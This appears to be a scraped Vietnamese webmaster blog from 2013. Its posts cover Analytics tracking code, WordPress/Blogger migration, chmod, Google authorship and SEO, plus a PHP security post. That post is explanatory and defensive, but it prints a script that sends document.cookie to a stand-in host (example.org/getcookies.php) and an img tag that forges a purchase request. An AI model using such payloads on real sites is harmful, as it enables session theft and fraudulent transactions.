var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
bằng văn bản in đậm trong ví dụ bên dưới:

<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-xxxxx-y']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
 Sau đó bật tính năng này lên "xác thực mã theo dõi"
Cập nhật mã theo dõi nhân khẩu học và sở thích người dùng từ Analytics


Nếu đây là lần đầu bạn dùng
Để khỏi sau này muốn dùng lại mất công sửa thì ngay lúc bạn đăng ký hẫy bật các nút này lên (Quản trị > thuộc tính > Thông tin theo dõi) sau đó lấy code rồi dán vào website.
Cập nhật mã theo dõi nhân khẩu học và sở thích người dùng từ Analytics


Để xem được được nó thì cũng cần bật chức năng này lên nữa

Cập nhật mã theo dõi nhân khẩu học và sở thích người dùng từ Analytics

Như vậy là xong.
Tóm lại các tiện ích của google cũng như nhiều nhà cung cấp dịch vụ khác, không phải khi nào cũng cố định. Chúng ta thi thoảng nên theo dõi họ có chính sách, tính năng gì mới hơn không để bổ sung kịp thời. Chúc bạn thành công.
Thao trinh
http://web.bendoi.vn/2013/11/cap-nhat-ma-theo-doi-nhan-khau-hoc-va-so-thich-tu-Analytics.html
Thứ Bảy, 3 tháng 8, 2013

Các website cần thiết cho tự học lập trình web


 getbootstrap.com
 Kiến thức về CSS và javascript, ứng dụng phát triển giao diện web thích ứng với các thiết bị di động

thaotrinh
blog.bendoi.vn
Thứ Bảy, 29 tháng 6, 2013

Convert wordpress to blogger

Convert wordpress to blogger

Convert wordpress to blogger

Đăng nhập vào Admin -> Công cụ -> Xuất ra. bạn chọn trang, nội dung bài viết hoặc cả hai
Convert wordpress to blogger
Công cụ do google phát triển
Convert wordpress to blogger
Qúa trình convert hoàn tất nó tự động tải xuống file blogger-export.XML
Convert wordpress to blogger
Bây giờ vào blogger -> cài đặt -> khác -> Import file blogger-export.XML
Tải file này lên là hoàn tất.
Convert wordpress to blogger
Convert wordpress to blogger
Quá trình convert wordpress to blogger luôn diễn ra nhanh chóng, dễ dàng và hoàn hão hơn rất nhiều so với quá trình convert blogger to wordpress, mặc dù cùng các bài viết giống nhau.
Chúc bạn thành công!



tttj of bendoi.vn

Convert blogger to wordpress

 blogger & wordpress

Chuyển dữ liệu từ blogger sang blogger có 3 cách:

- Cách Import trực tiếp từ Admin wordpress kết nối đến tài khoản blogspot (internet)
- Cách Import trực tiếp từ wordpress.com kết nối đến tài khoản blogspot (internet)
- Cách Import từ file XML blogger trong Admin wordpress (ko cần internet)

Cách 1:

Cách Import trực tiếp từ Admin wordpress kết nối đến tài khoản blogspot

1. Bạn truy cập sẵn vào blogger.com nhưng không làm gì cả. (chỉ để lấy cooki mà thôi)

2. Vào http://....../wp-admin/

convert blogger to wordpress
convert blogger to wordpress
convert blogger to wordpress
convert blogger to wordpress
convert blogger to wordpress
convert blogger to wordpress

Cách 2:

Cách Import từ file XML blogger trong Admin wordpress

vào bloggger xuất blog, down file xml về
convert blogger to wordpress
convert blogger to wordpress
Chọn file XML vừa down lại up tiếp, quá trình convert sẽ tiến hành online, sau đó file wordpress-wxr lại được tải về.
Vào Admin để cài công cụ Import
convert blogger to wordpress
convert blogger to wordpress
convert blogger to wordpress
convert blogger to wordpress
Giới hạn kích thước tập tin tải lên  phụ thuộc vào gói cưới hosting chứ ko phải wordpress giới hạn tập tin tải lên. Với localhost mặc định là hơn 120MB.
Sau khi upload, có thể để nguyên tên tác giả blogger hoặc đổi tên mình muốn.
convert blogger to wordpress
Vào tất cả bài đăng để xem
convert blogger to wordpress

Cách 3:

Cách Import trực tiếp từ wordpress.com kết nối đến tài khoản blogspot

Tạo một blog tại dịch vụ wordpress.com
Sau đó từ control Admin *. wordpress.com ta import dữ liệu từ tài khoản blogger sang.

Trong 3 cách trên thì cách thứ 2 tiện lợi, luôn thành công 100%, file wordpress-wxr có thể sửa nội dung theo ý muốn trước khi import. Ngoài ra nó ko bị các lỗi kết nối hoặc không tương thích khi một trong tiện ích các bên chưa được cải tiến theo.

Cuối cùng bạn chọn các bài vừa import để sửa chuyên mục
convert blogger to wordpress
convert blogger to wordpress
tttj of bendoi.vn

chmod là gì ?

chmod là gì ?

Chmod là sự thiết lập quy định các quyền mà người sử dụng (đọc, ghi, sửa, xóa) đối với một file/folder trên mạng.

Các quyền chmod được biểu diễn như sau

Chmod Read Write Execute
Quyền Đọc Ghi/ sửa Thực thi, liệt kê
Viết tắt r w X
Số 4 2 1

 Các nhóm chmod

Đối tượng sử dụng Chú thích
Owner Chủ sở hửu tạo file/folder (admin)
Group Nhóm sử dụng (thành viên được admin cho phép)
Public/ others/ everybody Đối tượng tự do khác

Như vậy khi người ta nói 755, 644, 444, nghĩa là gì? Bạn nhìn vào hình này sẽ rõ
Đây là minh họa cho quyền 644:
644 chmod
Các quyền được đánh số rồi cộng lại, các đối tượng được viết theo thứ tự: 
[Admin] [thành viên] [đối tượng khác]
CHMOD = 644 cho các thư mục có nghĩa là:

* 6 = 4 + 2 + 0 : Người sở hữu có quyền đọc (read); chỉnh sửa (write);

* 4 = 4 + 0 + 0 : Những người cùng nhóm chỉ có quyền  đọc (read);

* 4 = 4 + 0 + 0 : Những đối tượng  còn lại chỉ có quyền đọc thư mục (read);

 Cách đặt CHMOD về cơ bản có 2 cách chính:

1 . Thao tác trên các phần mềm FTP
Thao tác trên trình quản lý file web
Các host khác nhau sẽ có giao diện tương đối khác nhau nhưng tất cả cùng chung kiểu thao tác.

Ngoài ra còn những cách khác như viết lệnh, đòi hỏi chuyên môn về quản trị mạng.

Thông thường file được đặt 644 hoặc 444. Folder đặt 755 hoặc  555

Trong đó

Đọc Ghi/sửa Liệt kê Kết quả
4 2 1 7
4 2 0 6
4 0 1 5
4 0 0 4
0 2 1 3
0 2 0 2
0 0 1 1
0 0 0 0

Thuật đánh số này tương tự như hệ nhị phân, bát phân, thập phân, thập lục phân (hexa)


tttj of bendoi.vn
Thứ Sáu, 28 tháng 6, 2013

Xác minh quyền tác giả cho website đối với công cụ tìm kiếm GOOGLE


Xác minh quyền tác giả cho website đối với công cụ tìm kiếm GOOGLE

Bước 1
Cách 1:

Cập nhật các thông tin hồ sơ cá nhân trên Google+

http://plus.google.com/me/about/edit/wo
Bạn càng cập nhật đầy đủ thì càng được google+ đánh giá cao
Một số điểm lưu ý là bạn nên chọn ảnh đại diện có hình khuôn mặt bạn rõ ràng
Bạn điền email và phải xác mình, tới đó thêm các liên kết,…
bản quyền
Cách 2:

Có thể xác minh email tại: https://plus.google.com/authorship

bản quyền
Bạn thêm link vào trang web, thêm link này vào phần nào để nó luôn được hiển thị. Với blogger chỉ có 1 file xml duy nhất nên đặt đâu cũng được, với mã nguồn khác có rất nhiều files, nên đặt vào file header hoặc footer để chúng luôn được hiện diện.
<a href="https://plus.google.com/00000000000000000000?rel=author">Google</a>
Hoặc:
<link rel="author" href="https://plus.google.com/00000000000000000000/about"/>
Trong đó 0000… là ID tài khoản Google+ của bạn
Google đã chuẩn hóa dòng code này nên bạn ko nên thay đổi kiểu khác.

Kiểm tra thông tin tác giả web, blog tại : http://www.google.com/webmasters/tools/richsnippets
Bạn xem thêm thông tin tại đây http://support.google.com

TTTj of bendoi.vn
Thứ Ba, 23 tháng 4, 2013

Tăng tốc index cho website với google

1. Tạo 5 trang nội dung trong site:
Đừng để site bạn “under construction” (site đang trong quá trình xây dựng) hãy tạo 1 vài trang với nội dung thật sự.

2. Tạo link nội bộ giữa các trang của bạn.
Hãy sử dụng template thống nhất để quản lý các trang nội dung thông qua các menu. Bạn có thể tìm thấy những template free giúp bạn làm việc này tại freecodevn.com hoặc joomlaviet.org…. Nếu bạn tự tạo thì nhớ hãy đơn giản hóa nó chứ đừng có làm nó quá phức tạp và cầu kỳ. Bạn nhớ liên kết 2, 3 trang (liên kết có chiều sâu)

3. Đưa trang web của bạn lên các Social Bookmark Sites:
Bạn chỉ mất vài phút để tạo tài khoản và đăng trang web của bạn lên các bookmark site này. Việc làm này giúp các bộ máy tìm kiếm liên kết tìm kiếm trang web của bạn có cách dễ dàng hơn. Các bookmark sites thông dụng là: Del.icio.us, BlinkList, StumbleUpon.com, và Furl. Bạn lưu ý rằng khi ghi vào phần Tag, nhớ ghi những Tag thông dụng và phổ biến.

4. Đăng trang web của bạn trên những blog phổ biến (nhớ kèm theo link)
Bạn tìm khoảng 5 trang blog phổ biến, và có những bài viết vừa mới viết,thường xuyên . Bạn cố gắng vào đó comment, xây dựng câu truyện và kèm theo link đến trang web của bạn.

5. Tạo, đưa lên và ping XML Sitemap:
 Bạn có thể tạo 1 trang xml free ( xem hướng dẫn làm sitemap cho website ) sau đó bạn đưa trang này lên website của bạn sau đó thì ping nó với google bằng link sau: http://google.com/webmasters/sitemaps/ping?sitemap=XXXX (đổi XXX thành link Sitemap trang web của bạn) Sau đó bạn tạo tài khoản Google Webmaster Central, và đưa lên Google XML Sitemap. Một số mã nguồn mở thường có plugin hoặc component để tự tạo google sitemap tự cập nhật cho website như xmap của joomla và google sitemap generator của wordpress…

6/ Cài đặt Google Analytics
Cài đặt Google Analytics lên site của bạn và bạn nhớ là xác nhận lại thông tin của GA nha cho phù hợp với site của bạn.

7. Tạo 1 số quảng cáo của Google
Tạo tài khoản Google Adwords và add 1 số quảng cáo vào site của bạn. Bạn cứ add thậm chí chỉ là domain hay tên công ty thôi, không cần quan tâm nhiều đến keyword. Bởi vì khi add thì chắc chắn google sẽ phải ghé thăm site của bạn. Chỉ cần tốn 1 ít tiền thì site của bạn đã có rất nhiều lợi ít.

Với việc bạn làm theo các bước này bạn sẽ thấy rằng site của bạn sẽ rất nhanh chóng được phổ biến rộng rải. Mình không chắc chắn trong 24h bạn sẽ thành công, nhưng điều đó là có thể. Cách làm này chắc chắn sẽ rút ngắn thời gian index site từ vài tuần xuống chỉ còn vài ngày
Thanks: VietSEO.net

Google search phân biệt bài "chính chủ" với bài sao chép thế nào?


Hiện nay Google chưa có thông tin chính thức về cơ chế phần biệt này. Tuy nhiên nếu chúng ta quan sát thì sẽ thấy rằng, việc phân biết bài tự viết hay bài sao chép dựa theo 3 thông số chính:
- Nội dung trùng lặp hay độc nhất.
- Bài đăng nào được đăng đầu tiên.
- Website đăng bài có độ tin tưởng thế nào

Chính vì thế các website lớn, lượng truy cập đông, thường cập nhật bài viết mới đầu tiên và liên tục luôn lọt vào "mắt xanh" cuat google. Những bài này luôn được tìm kiếm đầu tiên.
Do vậy cũng có trường hợp cho dù bạn có blog cá nhân, bài đăng đầu tiên là trên trang của bạn, những báo khác chép lại, nếu các báo lớn có độ tin tưởng cao hơn, bài trên web của họ sẽ được ưu tiên chứ không phải từ web của bạn. Đó là một thiệt thòi cho các web nhỏ.
Tất nhiên những website lớn đó (chỉ số tin tưởng đã cao sẵn) nếu có nhiều bài copy thì chỉ số "nổi tiếng" của nó sẽ bị giảm xuống dần, ngược lại các web nhỏ, nếu có nhiều bài "chính chủ" thì sẽ được "ngoi lên" dần, tuy nhiên khá chậm nếu có những từ khóa "đụng hàng" các web lớn khác, thậm trí không thể cạnh tranh nỗi với những từ khóa ngắn và phổ biến mà các web lớn đang nắm giữ.

Thaotrinh

Xin hủy website của bạn khỏi danh sách đen trên blacklist-google


Vì một lý do vi phạm các điều khoản của google search. Có thể bạn đã seo có mức trong khi thực tế bạn chẳng có gì, hay nói đúng hơn là bạn đã spam quá nhiều làm công cụ tìm kiếm của google có thể bị nhầm lẫn.
Nhưng đôi khi không hẵn bạn có lỗi rõ ràng, nếu kiểm tra thấy website của mình bị liệt vào danh sách đen, hẩy gửi thông báo đến họ.
Có thể kiểm tra web tại đây: http://web.bendoi.vn/2013/04/cac-cong-cu-online-kiem-tra-tiem-nang-seo.html
Trước hết bạn cần có tài khoản tại http://www.google.com/webmasters/
Sau đó vào: https://www.google.com/webmasters/tools/reconsideration

Chọn trang web của bạn, điền vài thông tin và gửi yêu cầu đến họ.
Điều này đôi khi mất vài tuần, chúc bạn máy mắn!

Các công cụ online kiểm tra tiềm năng SEO cho website

Dennis Nafisi

  1. Google Black List Tool: xem web của bạn có bị google Search liệt vào danh sách đen hay không.
  2. Free Webpage Analysis Tool: Công cụ tìm kiếm tối ưu hóa phân tích từ khóa
  3. Keyword Density Tool: Công cụ kiểm tra Mật độ từ khoá
  4. Domain Lookup Tool: Xem thông tin tên miền.


Thứ Hai, 22 tháng 4, 2013

Bảo mật website lập trình bằng PHP

Bảo mật website là phải chú ý đến từng phần tử của trang web mà kẻ tấn công có thể lợi dụng thông qua giao diện của ứng dụng. Điểm yếu hay bị lợi dụng nhất đó là bao gồm form và các URL, nên việc bảo mật web có nghĩa là kiểm tra tính hơpk lệ của form và link.

1. Form lừa đảo

Phổ biến kẻ tấn công sử dụng là sử dụng form giả để truyền dữ liệu, kẻ tấn công dễ dàng thay đổi những hạn chế giới hạn phía client, khi form được submit tất cả dữ liệu sẽ truyền đến ứng dụng của bạn.

Ví dụ:

<form method="POST" action="process.php">
<p>Street:
<input type="text" name="street" maxlength="100" /></p>
<p>City:
<input type="text" name="city" maxlength="50" /></p>
<p>State:
<select name="state">
<option value="">Pick a state...</option>
<option value="AL">Alabama</option>
<option value="AK">Alaska</option>
<option value="AR">Arizona</option>
<!-- options continue for all 50 states -->
</select></p>
<p>Zip: <input type="text" name="zip" maxlength="5" /></p>
<p>
<input type="submit" /></p>
</form>

Form trên giới hạn độ dài tối đa cho phép nhập và có thể dùng javascript để giới hạn khi người dùng nhập vào và khi form được submit thì tất cả dữ liệu form sẽ chuyển đến trang process.php để sử lý.

người dùng có thể thể định nghĩa form ở nơi khác và URL của action chỉ đến file http://domian.com/process.php chúng ta xem

ví dụ:

<form method="POST" action="http://example.org/process.php">
<p>Street: <input type="text" name="street" /></p> <p>City: <input type="text" name="city" /></p>
<p>State: <input type="text" name="state" /></p> <p>Zip: <input type="text" name="zip" /></p>
<p><input type="submit" /></p>
</form>

Khi ấy, nếu form được submit thì dữ liệu vẫn được đưa đên file process.php như ví dụ trên mà không gặp bất kỳ giới hạn nào trong form.
Chúng ta dễ dàng fix lỗi này bằng cách kiểm tra các yêu cầu sử lý từ đâu đến bằng giá trị $_SERVER[‘HTTP_REFERER’] xác nhận yêu cầu sử lý đúng trên site mình mới thực thi.
mặc dù có thể ngăn cản mọi dữ liệu xuất phát từ form của nơi khác nhưng nó không cần thiết phải từ chối tất cả dữ liệu từ nơi khác. Kiểm tra độ tin cậy các thông tin từ bên ngoài là cần thiết đảm bảo dữ liệu submit là phù hợp yêu cầu trong form and thậm chí dữ liệu từ form giả mạo không thể qua được bộ lọc.

2. Tấn công Cross-Site

Tấn công Cross-Site (XSS) là cách tấn công phổ biến và là cách tấn công dễ hiểu nhất. Tính đơn giản của kiểu tấn công và số lượng các ứng dụng dễ bị tổn thương bởi kiểu tấn công này nhiều đã lôi cuốn những kẻ có dã tâm. XSS khai thác sự tin tưởng người đùng và luôn cố gắng lấy trộm thông tin người dùng như : cookies and các thông tin cá nhân khác. Tất cả dữ liệu nhập vào ứng dụng.
Ta xét một ví dụ form sau. Form có thể tồn tại trên một số các web site cộng đồng và có thể cho phép user khác nhận xét(comment). Sau khi các lời nhận xét được gửi thì tất cả các lời nhận xét được hiển thị vì vậy mọi thứ của các lời nhận xét đều được hiển thị:
Ví dụ:

<form method="POST" action="process.php">
<p>Add a comment:</p>
<p><textarea name="comment"></textarea></p>
<p><input type="submit" /></p>
</form>

Hình dung một số người có ác tâm gửi lời nhận xét với nội dung sau:

<script>
document.location = ’’http://example.org/getcookies.php?cookies=’’ + document.cookie;
</script> 

Bây giờ mọi người viếng thăm các thông tin đăng nhập được và cookies chuyển đến URL nó được truyền qua chuỗi struy vấn trên site.kẻ tấn công dễ dàng dùng $_GET[’cookies’] để lưu chúng để sau sử dụng.

3. Tấn công bằng cách yêu cầu cross-site giả

A cross-site request forgery (CSRF) là kiểu tấn công làm cho không biết HTTP yêu cầu từ đâu, thường nó yêu cầu quyền truy cập và sử dụng session của nạn nhân để truy cập. Yêu cầu HTTP sẩy ra khi nạn nhân dùng tài khoản của mình để mua hàng thay đổi hoặc xoá thông tin ngưòi dùng.

Khi một XSS tấn công khai thác sự tin tưởng của ngưòi dùng vào ứng dụng, một yêu cầu được gải mạo ứng dụng được người sử dụng tin tường, một yêu cầu đuợc cho là hợp pháp được gửi đi thât khó có thể phát hiện ra có phải thực sự người sự dụng muốn thưc hiện yêu cầu đó. Trong khi đó yêu cầu được đưa ra ngoài ứng dụng bạn, thường sử dụng là các cuộc tấn công CSRF. Nó sẽ không ngăn ngừa ứng dụng nhận yêu cầu gải mạo. Vậy ứng dụng của bạn phải có khả năng phát hiện yêu cầu hợp lệ trong đó có chứa mã có hại hay không

Ví dụ:

Chúng ta có 1 web site cho mọi người có thể đăng kí một account và họ có quyền xem các mục sách để mua . có thể giả thuyết rằng một kẻ có dã tâm đăng kí một acount và quá trình sử lý mua sách là trong suốt với site. Cách thức này được phát hiện ra 1 cách tình cờ:

+ đăng nhập và mua hàng

+ Chọn 1 cuốn sách để mua rồi bấm vào nút “buy” nó sẽ chuyển đên trang checkout.php

+ Cô ấy nhìn thấy action check out là POST, nhưng các tham số checkout sẽ được bỏ vì chuỗi truy vấn(GET) làm việc

+ Khi đặt là checkout.php?isbn=0312863551&qty=1 thì thấy báo giao dịch thành công

Với điều mộ kẻ có dã tâm dễ dàng mua hàng trên 1 site mà không mất đồng nào. rễ dàng 1 người sử dụng có thể sử dụng chèn một thẻ ảnh (img) vào vùng không được phép. nội dung của thẻ img như sau:

<img src=”http://example.org/checkout.php?isbn=0312863551&qty=1″ />

Thậm chí image gắn ở site khác vẫn có thể tiếp tục tạo ra cái yêu cầu mua hàng trên site. Hầu hết mọi trường hợp yêu cầu thất bại bởi vì user phải đăng nhập mới mua được hàng. Sự tấn công nàylà sự tin tưởng của web site với người dùng. Giải pháp cho kiểu tấn công này thay thế POST bằng GET tấn công được là do checkout.php sử dụng $_REQUEST, mảng này sẽ truy cập và lấy isdn và qty. Chúng ta nên sử dụng POST để giảm thiểu rủi do về loại tấn công này. Nhưng nó không thể bảo vệ tất cả các yêu cầu đã được nguỵ tạo.

Một sự tấn công phức tạp có thể tạo yêu cầu POST rễ ràng bằng GET. Trừ khi có một phương pháp ngăn chặn phương pháp mã thông báo(token) này bắt buộc sử dụng form của bạn. Mã thông báo tạo ra bằng cách sinh ngẫu nhiên một mã thông báo và lưu nó trong session khi user truy cập trang chứa form sẽ đặt nó vào trong form dưói 1 trường ẩn. Sẽ sử lý kiểm tra mã thông báo POST từ form với giá trị lưu trong session. Nếu đúng thì nó là yêu cầu hợp lệ nếu sai thì không sử lý và thay vào đó là thông báo lỗi .

Ví dụ:

?php
session_start();
$token = md5(uniqid(rand(), TRUE)); $_SESSION[’token’] = $token;
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Remainder of form -->
</form>

sử lý khi form được submit:

if (isset($_SESSION[’token’])
&& isset($_POST[’token’])
&& $_POST[’token’] == $_SESSION[’token’])
{
// Token is valid, continue processing form data
}

Theo lập trình việt!
Chủ Nhật, 21 tháng 4, 2013

Google Sandbox

Google Sandbox là một bộ lọc được Google tạo ra từ 2004 để ngăn chặn các web spam trong kết quả tìm kiếm.
Google Sandbox sẽ ảnh hưởng xấu đến một số url có từ khóa cạnh tranh.

 Nguyên nhân bị Google Sandbox diệt:
- Trùng lặp nội dung, URL quá nhiều.
- Cô cụ tự động lấy bài trang web khác và tự động đăng.
- Xây dựng liên kết quảng cáo quá nhanh
- Nội dung kém chất lượng (bị các độc giả thoát ngay khi truy cập).

 Phòng tránh Google Sandbox
- Viết nội dung độc đáo và luôn cập nhật nội dung
- Xây dựng backlink chất lượng - Sử dụng từ khóa dài, mở rộng vì nếu chúng ta không có đủ khả năng để chiến đấu với những từ khóa ngắn thì hẫy chơi với những từ khóa dài mà tìm năng. Những cách thoát khỏi Google Sandbox
- Bỏ bớt những bài viết copy và thay vào đó là những bài “tự viết” mới.
- Xây dựng các backlink sạch và chất lượng, nên đặt vào những trang uy tín (thuộc 1 chuyên môn nhất định, đã tồn tại lâu và có đông người xem) nhưng không nên đặt nhiều trang
- Quảng cáo trên adwords (tốn kém, cứ như là bị đi "hối lộ" google).